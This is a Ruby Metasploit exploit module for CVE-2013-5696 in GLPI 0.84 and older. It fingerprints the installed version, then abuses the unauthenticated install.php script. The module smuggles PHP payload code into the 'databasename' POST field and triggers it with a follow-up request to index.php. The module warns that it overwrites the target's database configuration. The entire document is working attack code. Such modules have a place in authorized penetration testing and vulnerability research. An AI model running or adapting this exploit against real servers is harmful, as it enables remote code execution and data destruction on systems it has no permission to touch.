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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'GLPI install.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
GLPI 'install.php' script. Users should use this exploit at his own risk,
since it's going to overwrite database configuration.
},
'Author' =>
[
'Tristan Leiter < research[at]navixia.com >',
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-5696' ],
],
'Privileged' => false,
'Platform' => ['php'],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "#",
'DisableNops' => true,
'Keys' => ['php']
},
'Arch' => ARCH_PHP,
'Targets' => [[ 'GLPI 0.84 or older', { }]],
'DisclosureDate' => 'Sep 12 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])
], self.class)
end
def uri
return target_uri.path
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
})
if not res or res.code != 200
return Exploit::CheckCode::Safe
end
re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
m = Regexp.new(re, Regexp::IGNORECASE)
matched = m.match(res.body)
if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
print_good("Detected Version : #{matched[3]}")
return Exploit::CheckCode::Appears
elsif matched
print_error("Version #{matched[3]} is not vulnerable")
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Injecting the payload...")
rand_arg = Rex::Text.rand_text_hex(10)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'install/install.php'),
'vars_post' =>
{
'install' => 'update_1',
'db_host' => 'localhost',
'db_user' => 'root',
'db_pass' => 'root',
'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
}
})
unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
end
print_status("Executing the payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' =>
{
rand_arg => '1',
}
})
end
end
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